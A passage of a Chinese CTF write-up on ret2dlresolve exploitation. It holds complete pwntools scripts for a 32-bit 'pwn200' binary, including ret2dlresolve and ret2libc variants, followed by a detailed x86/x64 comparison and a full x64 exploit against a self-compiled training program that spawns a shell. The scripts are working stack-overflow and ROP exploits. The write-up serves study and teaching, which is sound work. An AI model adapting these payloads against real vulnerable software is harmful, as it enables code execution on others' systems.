read_plt = elf.plt['read']
base = 0x0804C028 + 0x800
skip = 0x0804901f #add esp,8; pop ebx; ret
pivot = 0x0804928b # pop ecx; pop ebx; pop edi; pop ebp; lea -4(%ecx),%esp; ret
#payload_1
offset = 0x6c + 0x4
payload_1 = b'a'*offset
payload_1 += p32(read_plt)
payload_1 += p32(skip) #read_ret
payload_1 += p32(0)
payload_1 += p32(base)
payload_1 += p32(0x300)
payload_1 += p32(pivot)
payload_1 += p32(base+4) # pop ecx
payload_1 += p32(0)*3 # pop ebx/edi/ebp
r.send(payload_1)
#payload_2
jmp_plt = 0x8049030
rel_plt = 0x08048380
fake_rel = base + 0x10
reloc_index = fake_rel - rel_plt
ret_addr = 0x080491A6
bin_sh = base + 0x3b
dynsym = 0x0804820c
fake_sym = base + 0x24
r_sym = (fake_sym - dynsym) // 0x10
r_info = (r_sym << 8) | 0x7
r_offset = 0x804c01c
dynstr = 0x080482ac
st_name = (base + 0x34) - dynstr
payload_2 = p32(jmp_plt)
payload_2 += p32(reloc_index)
payload_2 += p32(ret_addr)
payload_2 += p32(bin_sh)
payload_2 += p32(r_offset) + p32(r_info) #Elf32_Rel
payload_2 += b'\x00'*0xc
payload_2 += p32(st_name) + p32(0)*2 + p32(0x12) #Elf32_Sym
payload_2 += b'system\x00'
payload_2 += b'/bin/sh\x00'
time.sleep(0.2) # 防第一次 read 吞掉两段
r.send(payload_2)
r.interactive()
pviot的意义在于将esp跳转到base。其实我们也可以将操作放到栈溢出的后面,然后让数据自己去定位查找也就是解析器的任务
skip的意义在于清理read残留在栈中的数据让esp顺然的达到jmp_plt
reloc_index → Elf32_Rel → r_info → Elf32_Sym → st_name → "system"
不使用pviot的版本
from pwn import *
context(os = 'linux',arch = 'i386')
r = process('./pwn200')
elf = ELF('./pwn200')
read_plt = elf.plt['read']
base = 0x0804C028 + 0x800
skip = 0x0804901f #add esp,8; pop ebx; ret
pivot = 0x0804928b # pop ecx; pop ebx; pop edi; pop ebp; lea -4(%ecx),%esp; ret
jmp_plt = 0x8049030
rel_plt = 0x08048380
fake_rel = base+0x10
reloc_index = fake_rel - rel_plt
ret_addr = 0x080491A6
bin_sh = base + 0x3b
#payload_1
offset = 0x6c + 0x4
payload_1 = b'a'*offset
payload_1 += p32(read_plt)
payload_1 += p32(skip) #read_ret
payload_1 += p32(0)
payload_1 += p32(base)
payload_1 += p32(0x300)
#payload_1 += p32(pivot)
#payload_1 += p32(base+4) # pop ecx
#payload_1 += p32(0)*3 # pop ebx/edi/ebp
payload_1 += p32(jmp_plt)
payload_1 += p32(reloc_index)
payload_1 += p32(ret_addr)
payload_1 += p32(bin_sh)
r.send(payload_1)
#payload_2
dynsym = 0x0804820c
fake_sym = base + 0x24
padding = 0xc
r_sym = (fake_sym - dynsym) // 0x10
r_info = (r_sym << 8) | 0x7
r_offset = 0x804c01c
dynstr = 0x080482ac
st_name = (base + 0x34) - dynstr
st_info = 0x12 #Global variable marker
payload_2 = b'a'*0x10
payload_2 += p32(r_offset) + p32(r_info) #Elf32_Rel
payload_2 += b'\x00'*0xc
payload_2 += p32(st_name) + p32(0)*2 + p32(0x12) #Elf32_Sym
payload_2 += b'system\x00'
payload_2 += b'/bin/sh\x00'
time.sleep(0.2)
r.send(payload_2)
r.interactive()
理解上面的原理之后我们就可以使用工具去快速查询了,pwntools有ret2dlresolve的快速搭建
from pwn import *
import time
context(os = 'linux',arch = 'i386')
r = process('./pwn200')
elf = ELF('./pwn200')
read_plt = elf.plt['read']
plt0 = elf.get_section_by_name('.plt').header.sh_addr
bss = elf.get_section_by_name('.bss').header.sh_addr
skip = 0x0804901f #add esp,8; pop ebx; ret
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"], data_addr=bss+0x800)
rop = ROP(elf)
rop.read(0,dlresolve.data_addr,0x400)
rop.ret2dlresolve(dlresolve)
payload = b'A'*112 + rop.chain()
r.recvline()
r.send(payload)
time.sleep(0.2)
r.send(dlresolve.payload)
r.interactive()
不过这题也可以使用ret2libc的盲打形式出来,知识点我就不解释了直接展示libc版本的payload
from pwn import *
context(os = 'linux',arch = 'i386')
r = process('./pwn200')
elf = ELF('./pwn200')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
r.recvline()
payload_1 = b'a'*112 + p32(write_plt) + p32(0x080491A6) + p32(1) + p32(write_got) + p32(0x4)
r.sendline(payload_1)
leak = u32(r.recv(4))
print(f'write leak: {hex(leak)}')
payload_2 = b'a'*112 + p32(write_plt) + p32(0x080491A6) + p32(1) + p32(read_got) + p32(0x4)
time.sleep(0.2)
r.send(payload_2)
leak = u32(r.recv(4))
print(f'read leak: {hex(leak)}')
#system
libc.address = leak - libc.symbols['read']
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
payload_3 = b'a'*112 + p32(system) + p32(0xdeadbeef) + p32(binsh)
r.sendline(payload_3)
r.interactive()
0x08 踩雷记录
- 坑 1:system 参数在 base+0x0c,不是 base+0x08。
_dl_runtime_resolve结尾ret $0xc,跳到 system 时 esp 已经往前走了,system 的[esp+4]正好落在base+0x0c。所以 /bin/sh 指针必须放 base+0x0c,放错 = system(NULL) 崩溃。 - 坑 2:base 要放可写页高处。数据段里
0x0804b000 - 0x0804c000是只读页,system 内部栈帧很大,base 太低一压栈就写进只读页 → SIGSEGV。所以 base = .bss + 0x800。 - 坑 3:/bin/sh 偏移是 0x3b,不是 0x3c。"system\0" 是 7 字节(6 字母 + 1 个 \0),
+=直接拼接时 /bin/sh\0 从0x34 + 7 = 0x3b开始,指针必须对准那个/。写 0x3c 的话 system 收到 "bin/sh"(少个斜杠)→ 找不到命令。(如果布局里两个字符串之间垫了一个空字节,那才是 0x3c。) - 坑 4:结构体要写"内容",不是"地址"。
fake_rel/fake_sym只是算偏移用的变量(一个数字),不写进 payload。解析器到 base+0x10 读的是内容(r_offset + r_info,8 字节);到 base+0x24 读的是内容(st_name + 0 + 0 + 0x12,16 字节)。 - 坑 5:两次 send 之间要 sleep。第一次 read 的 count=256,两段 payload 加起来小于 256 会被一次读掉,第二次 read 收到 EOF。中间加
time.sleep(0.2)分开。 - 坑 6:Elf32_Sym 第一格是 st_name,不是 r_info。r_info 的任务在"找到假 Sym"就结束了(解析器用它的高 24 位算位置)。找到 Sym 之后读第一格才知道名字在哪 → 必须是 st_name。
- 坑 7(低级笔误):
piovt/inteactive/gdb.attch/r.send()空参,这些拼写错误我调了好久才看出来……写完一定自己扫一遍变量名和函数名。
0x09 套路总结
适用条件:32 位 / Partial RELRO / 无 PIE / NX / 栈溢出,且没 libc、没 system。
固定 5 步:
checksec确认条件(Partial RELRO 是前提)- 找偏移(
cyclic+ gdb) - 溢出 →
read把伪造结构写进.bss→ 栈迁移 - 伪造
Elf32_Rel+Elf32_Sym+"system"字符串(4 个公式) - 跳 PLT0,参数放
base+0x0c
四公式默写:
reloc_index = 假Rel地址 - .rel.plt r_sym = (假Sym地址 - .dynsym) / 16 ← 要整除 → 对齐 r_info = (r_sym << 8) | 7 st_name = "system"字符串地址 - .dynstr
ret2dlresolve64
还记得刚刚我们x32嘛,回顾一下ret2dlresolve流程
函数第一次被调用 → GOT 里还是空位 → PLT 桩 push 号牌 → 跳 PLT0 → push link_map → 进入档案管理员 _dl_runtime_resolve → 它调用 _dl_fixup(link_map, 号牌) 完成 5 跳查表:
号牌 → .rel.plt基址+号牌 → Elf32_Rel(单子) → r_info高24位 → .dynsym[下标](档案)
→ 档案的st_name → .dynstr+st_name(字典)→ "函数名" → 查libc → 地址写进r_offset → 跳过去
那么x64位也是这个流程,只是说在一些关键点出现了不同的地方
| # | 部件 | 32 位 | 64 位 | 攻击后果 |
|---|---|---|---|---|
| 1 | 号牌语义 | 字节偏移(第 i 项 push i×8),管理员直接用 | 索引(第 i 项 push i),管理员内部 ×24 | 反算公式变成 (假Rela−JMPREL)/24,必须整除 |
| 2 | 单子厚度 | Elf32_Rel 8B(r_offset+r_info) | Elf64_Rela 24B(多了 r_addend,填 0) | 假单子要多缝 8 字节 |
| 3 | 档案编号宽度 | r_info = (下标<<8)|7 | r_info = (下标<<32)|7 | 低位 7 过类型断言的规则不变 |
| 4 | 档案页规格 | Elf32_Sym 16B | Elf64_Sym 24B,字段还重排了(st_name, st_info, st_other, st_shndx, st_value, st_size) | (假Sym−SYMTAB)/24,整除 |
| 5 | 传参方式 | cdecl 走栈,&"/bin/sh" 放栈上自动就位 | 走寄存器 → 必须先 pop rdi 设好 "/bin/sh" | x64 额外需要一个 gadget;好消息:resolver 保存/恢复全部参数寄存器,rdi 能活着到 system |
攻击流程
①栈溢出覆盖 saved rbp + ret
②把 payload2(假Rela+假Sym+"system"+"/bin/sh")写进 bss ← 经典题: ROP调read自己写
本题: 程序hardcode白送
③ pop rdi 设 rdi = &"/bin/sh" ← x64特供
④ leave;ret 切栈到 bss ← 栈迁移,两个版本都要
⑤ ret 弹出第1格 = PLT0,进入总台
⑥ PLT0: push link_map ; jmp _dl_runtime_resolve ← 全自动
⑦ _dl_fixup: JMPREL + 号牌×24 → 伪Rela → r_info拆包 → 伪Sym
→ st_name → "system" ← 全自动
⑧ 查 libc 得 system 地址 → 写进 r_offset 指向的格子
⑨ 恢复现场(rdi原样) → 跳 system("/bin/sh") → getshell
解释一下上面的意思
x32和x64区别
传参从"栈"搬进了“寄存器”
32 位(cdecl 约定):所有参数压栈。调用 system("/bin/sh") 时,栈上依次是返回地址"/bin/sh" 的指针——所以你的 payload 第 4 格放个指针,system 开始执行时从 esp+4 自动拿到参数,什么都不用做。
64 位(SysV 约定):前六个整型/指针参数依次走 rdi, rsi, rdx, rcx, r8, r9,栈上不传。system 只看 rdi。
影响:x64 的 payload1 里必须插入 pop rdi; ret gadget,在进入 PLT0 之前把 rdi 装上 &"/bin/sh"。而且这里有个精妙的设计在帮你:resolver 执行前会把全部参数寄存器保存起来、解析完再原样恢复——正是为了不弄脏真实调用的参数——所以你装好的 rdi 能穿过整个解析过程活着到达 system。
连带差异:_dl_fixup 收参数的方式也变了——x32 靠 cdecl(PLT0 push 的 link_map 和桩 push 的号牌恰好就是栈上的两个参数,压栈即传参);x64 则由 resolver 从栈上读出这两个值、装进 rdi 和 rsi 再调用。分工不变,搬运方式变了。
PLT/GOT 的区别
32 位:只有一张 .plt,每个条目 = jmp *GOT + push 偏移; jmp PLT0
64 位(开了 CET 支持的现代编译默认):拆成两张
.plt.sec:对外服务的“接待窗口”(endbr64; jmp *GOT),程序调用走这里;
.plt:后台的“未解析处理区”,放 push 索引; jmp PLT0 桩和 PLT0 总台。
GOT 每格也从 4 字节变 8 字节(地址宽了)。
影响:你 ROP 里 ret 的目标仍然是 .plt 的 PLT0(带 push 的那个),.plt.sec 只是让反汇编时多了一节,不影响 dlresolve 流程。
还有一个一眼分辨位数的技巧:看 PLT 桩 push 的数
x32:push 0x8 / 0x10 / 0x18 …(字节偏移,8 的倍数)
x64:push 0 / 1 / 2 / 3 …(纯索引) 你的 vuln 里就是 push 0x0, 0x1, 0x2, 0x3——这就是层面四的前兆。
表项格式变化
| 表 | 32 位 | 64 位 | 做题要改的 |
|---|---|---|---|
| 重定位表 | .rel.plt,Elf32_Rel 8B = r_offset(4)+r_info(4) | .rela.plt,Elf64_Rela 24B = r_offset(8)+r_info(8)+r_addend(8) | 假单子多缝 8 字节,r_addend 填 0(JMP_SLOT 不用它,但字段必须占位) |
| 符号表 | Elf32_Sym 16B:st_name(4), st_value(4), st_size(4), st_info(1), st_other(1), st_shndx(2) | Elf64_Sym 24B:st_name(4), st_info(1), st_other(1), st_shndx(2), st_value(8), st_size(8) | 伪造时的字节布局完全不同(注意字段顺序重排了);st_other=0 的检查两个版本都有 |
| 字符串表 | .dynstr,st_name 是字节偏移 | 一模一样 | 不变 ✓ |
r_info 的打包宽度:(下标<<8)|7 → (下标<<32)|7。低位=类型 7(JMP_SLOT 断言)这个规则不变,只是“编号搬家搬到了高楼层的 32 位”里。
号牌语义
32 位:PLT 桩 push 的号牌 = 那张单子在 .rel.plt 里的字节偏移。_dl_fixup 拿来直接加:reloc = JMPREL + reloc_arg。
64 位:PLT 桩 push 的是第几号(索引)。_dl_fixup 内部自己乘 24:reloc=JMPREL + reloc_arg*24
mov %esi,%ebx ; ebx = 号牌 lea (%rbx,%rbx,2),%rcx ; ×3 lea (%rdx,%rcx,8),%rsi ; ×8 → 合计 JMPREL + 号牌×24
反算公式从 号牌 = 假Rel − JMPREL 变成 号牌 = (假Rel − JMPREL) / 24,且必须整除。写 x64 exp 时如果带着 32 位的肌肉记忆直接减完就 push,就会像我们之前那样——resolver 读到错误的单子、R_TYPE != 7 断言当场爆炸。
栈上的工程约束
16 字节栈对齐:SysV 规定函数入口 rsp ≡ 8 (mod 16),glibc 的 do_system 内部有 movaps(要求 16 字节对齐的 SSE 指令),不对齐就崩。x32 栈是 4 字节粒度,基本碰不到这坑。做题影响:切栈点要满足 ≡ 8 (mod 16)。
resolver 的工作台大得多:x32 的 resolver 进门前只压 3 个寄存器(12 字节);x64 的 _dl_runtime_resolve_xsavec 要用 xsave 把全部参数寄存器和状态存下来(因为它们装着真实调用参数,一个都不能脏),要往下开辟约 0x3c0 字节。做题影响:切栈点下方必须有足够空地,否则工作台压进只读页。
数字都变大了:表项 24B、指针 8B,导致同样“柜子越界”,x64 的号牌、下标、偏移量级都不同——别用 32 位的数值直觉套 64 位。
要不我们先分析一下程序怎么走吧
程序源码
#include <unistd.h>
#include <stdio.h>
#include <string.h>
static char bss_pad[0x1000] __attribute__((used));
__attribute__((used, noinline))
void gadgets(void) {
asm volatile (
".intel_syntax noprefix\n"
".global pop_rdi_ret\n"
"pop_rdi_ret:\n"
" pop rdi\n"
" ret\n"
".global pop_rsi_ret\n"
"pop_rsi_ret:\n"
" pop rsi\n"
" ret\n"
".global pop_rdx_ret\n"
"pop_rdx_ret:\n"
" pop rdx\n"
" ret\n"
".att_syntax prefix\n"
);
}
void vuln()
{
char buf[0x40];
setbuf(stdout, 0);
read(0, buf, 0x100);
char *bss = (char*)0x404A28;
read(0, bss, 0x100);
}
int main()
{
char buf[0x40] = "Welcome to ret2dlresolve x64 training~\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
gcc -no-pie -fno-stack-protector -z lazy -o vuln vuln.c
0x01 程序分析


通过readelf能发现主要函数就用了这几个
字符串搜索看看有没有sh或者/bin/sh

0x02 函数分析
main函数->0x04011FE

vuln函数->0x4011A7

看看栈空间有没有可以写的地方,因为NX开启了保护也不能当作代码去执行。
通过IDA可以发现.bss起始地址是0x0404060

在x64中system运行时申请的栈空间是0xA00
我们得先确认payload该写入什么地方
X64的落点约定
1.确认RW的上/下限,不能超越内存rw的范围(0x404000~0x406000)
2.在选择放置位置的时候先计算system申请之后的栈空间(栈向低地址生长)是否具有RW权限。即base-0xA00≥RW上限(本题为base-0xA00≥0x404000)
3.reloc_arg = (假Rela地址 − DT_JMPREL) ÷ 24,结果必须为整数,sym_index = (假Sym − SYMTAB) ÷ 24 必须整除;换句话来说选定的base地址需要符合 mod 24 = 16和base mod 16 = 8
我们先找到JMPREL(.rela.plt),SYMTAB(.dynstr)的地址吧
readelf -S vuln | grep -E "rel\.plt|dynsym|dynstr|\.plt |\.bss"

通过+8进行嗅探发现0x404A28符合条件,下面这个表格是10进制的
| 小数 NN | NN mod 24(要求 = 16) | NN mod 16(要求 = 8) | 判定 |
|---|---|---|---|
| 0 | 0 ✗ | 0 ✗ | 淘汰 |
| 8 | 8 ✗ | 8 ✓ | 淘汰 |
| 16 | 16 ✓ | 0 ✗ | 淘汰 |
| 24 | 0 ✗ | 8 ✓ | 淘汰 |
| 32 | 8 ✗ | 0 ✗ | 淘汰 |
| 40 | 16 ✓ | 8 ✓ | 命中! |
0x03 攻击原理图
和x32的一样,需要通过push num去设置reloc_index ,先进行位置规划之后才进行
理论规划应该是
PLT[0] ← ret 弹这(栈迁移后的执行入口) reloc_arg ← resolver 按 [rsp+8] 读第 2 格 system 返回地址(0) ← resolver 清理 16 字节后 rsp 落这 ───────────────────────────── 以上=消费区 / 以下=数据区 ── "/bin/sh\0" ← 提供给 system()(rdi 指向这里) "system\0" ← 提供给 st_name 伪造 Elf64_Rela (24B) ← 号牌定位到这里 伪造 Elf64_Sym (24B) ← r_info 定位到这里
PLT0获取
通过正常的函数去分析拿到,那我们就分析write函数调用时,PLT0指向了什么地方了吧

Elf64_Rela选择判断
Elf64_Rela 地址 = DT_JMPREL + reloc_arg × 24
| 候选偏移 | 候选地址 | 差值 (−0x400588) | mod 24 | 相位 | 布局 | 判定 |
|---|---|---|---|---|---|---|
| +0x18 | 0x404A40 | 0x44B8 | 0 ✓ | ✓ | 与 +0x20/+0x28 两个字符串重叠 | 淘汰(冲突) |
| +0x20 | 0x404A48 | 0x44C0 | 8 | ✗ | (还与 /bin/sh 重叠) | 淘汰(相位,不能有余数) |
| +0x28 | 0x404A50 | 0x44C8 | 16 | ✗ | (压住 "system") | 淘汰(相位,不能有余数) |
| +0x30 | 0x404A58 | 0x44D0 | 0 | ✓ | 空闲 | ★命中 → reloc_arg = 734 |
| +0x48 | 0x404A70 | 0x44E8 | 0 | ✓ | 空闲 | 备选 → 号牌 735 |
| +0x60 | 0x404A88 | 0x4500 | 0 | ✓ | 空闲 | 备选 → 号牌 736 |
那我们就选定Elf64_Rela 伪造存放地址为0x404A58吧
Elf64_Sym地址选择判断
Elf64_Sym地址 = DT_SYMTAB(0x4003d8) + index × 24
也是按照顺序进行推理看看后面的+0x48会不会符合
| 候选偏移 | 候选地址 | 差值(−0x4003d8) | mod 24 | 相位 | 布局 | 判定 |
|---|---|---|---|---|---|---|
| +0x18 | 0x404A40 | 0x4680(=24×751) | 0 ✓ | ✓ | 与 +0x18 占位/+0x20 /bin/sh/+0x28 system 重叠 | 淘汰(冲突) |
| +0x20 | 0x404A48 | 0x4670(余 8) | 8 ✗ | × | (还压着 /bin/sh) | 淘汰(相位,不能有余数) |
| +0x28 | 0x404A50 | 0x4678(余 16) | 16 ✗ | × | (压住 "system") | 淘汰(相位,不能有余数) |
| +0x30 | 0x404A58 | 0x4680(=24×752) | 0 ✓ | ✓ | 与假 Rela(+0x30)重叠 | 淘汰(冲突) |
| +0x38 | 0x404A60 | 0x4688(余 8) | 8 ✗ | × | (在 Rela 内部) | 淘汰(相位,不能有余数) |
| +0x40 | 0x404A68 | 0x4690(余 16) | 16 ✗ | × | (在 Rela 内部) | 淘汰(相位,不能有余数) |
| +0x48 | 0x404A70 | 0x4698(=24×753) | 0 ✓ | ✓ | 空闲(紧贴 Rela 尾部) | ★命中 → sym_index = 753 |
| +0x50 | 0x404A78 | 0x46A0(余 8) | 8 ✗ | × | 空闲 | 淘汰(相位,不能有余数) |
| +0x58 | 0x404A80 | 0x46A8(余 16) | 16 ✗ | × | 空闲 | 淘汰(相位,不能有余数) |
| +0x60 | 0x404A88 | 0x46B0(=24×754) | 0 ✓ | ✓ | 空闲 | 备选 → sym_index = 754(exp 的选择,留 0x18 空隙) |
至此根据反推将reloc_arg和r_info给计算出来
ELf64_Rel根据公式反推出 reloc_arg为734
Elf64_Sym根据公式反推出 sym_index(r_info >> 32)
所以可以完善一下payload构造了
[+0x00] PLT[0] = 0x401020 [+0x08] reloc_arg = 734 [+0x10] system_ret_addr = 0 [+0x18] padding = 0 [+0x20] "/bin/sh\0" ← rdi 指向这里 [+0x28] "system\0" ← st_name 指向这里 [+0x30] Elf64_Rela → r_offset = 0x404B38 [+0x38] Elf64_Rela → r_info = 0x2F100000007 [+0x40] Elf64_Rela → r_addend = 0 [+0x48] Elf64_Sym → st_name = 0x45B8 → 解析至 +0x28 的 "system" [+0x4C] Elf64_Sym → st_info = 0x12 (1B) [+0x4D] Elf64_Sym → st_other = 0 (1B) [+0x4E] Elf64_Sym → st_shndx = 0 (2B) [+0x50] Elf64_Sym → st_value = 0 (8B) [+0x58] Elf64_Sym → st_size = 0 (8B) [+0x60] (Sym 结束;宽松版布局的 Sym 起点在这里)

这题和x32不同的是传参变成了从寄存器传输参数,所以我们得提前进行写入pop rdi将bin/sh地址写入到rdi中
from pwn import *
import time
context(os='linux',arch = 'amd64')
r = process('./vuln')
offset = 0x50
base = 0x404A28
pop_rdi = 0x040119e
save_rbp = base - 8
bin_sh = base + 0x20
leave_ret = 0x04011fc
payload_1 = b'A' * offset + p64(save_rbp) + p64(pop_rdi) + p64(bin_sh) + p64(leave_ret)
r.send(payload_1)
time.sleep(0.2)
rela_plt = 0x0400588
dynsym = 0x04003d8
dynstr = 0x0400498
elf64_sym = base+0x48
elf64_rela = base+0x30
elf64_sym_index = (elf64_sym - dynsym) // 24
plt0 = 0x401020
reloc_arg = (elf64_rela - rela_plt) // 24
r_offset = base + 0x110
r_info = (elf64_sym_index << 32) | 0x7
r_addend = 0
st_name = base+0x28 - dynstr
st_info = 0x12
st_other = 0
st_shndx = 0
st_value = 0
st_size = 0
payload_2 = p64(plt0)+p64(reloc_arg)+p64(0)+p64(0)+b'/bin/sh\x00'+b'system\x00'
payload_2 = payload_2.ljust(0x30,b'\x00')
payload_2 += p64(r_offset)+p64(r_info)+p64(r_addend)
payload_2 = payload_2.ljust(0x48,b'\x00')
payload_2 += p32(st_name)+p8(st_info)+p8(st_other)+p16(st_shndx)+p64(st_value)+p64(st_size)
r.send(payload_2)
time.sleep(0.5)
r.sendline(b'echo PWNED && id')
time.sleep(1)
print(r.recv(timeout=3).decode(errors='replace'))
r.interactive()

评论区
评论加载中...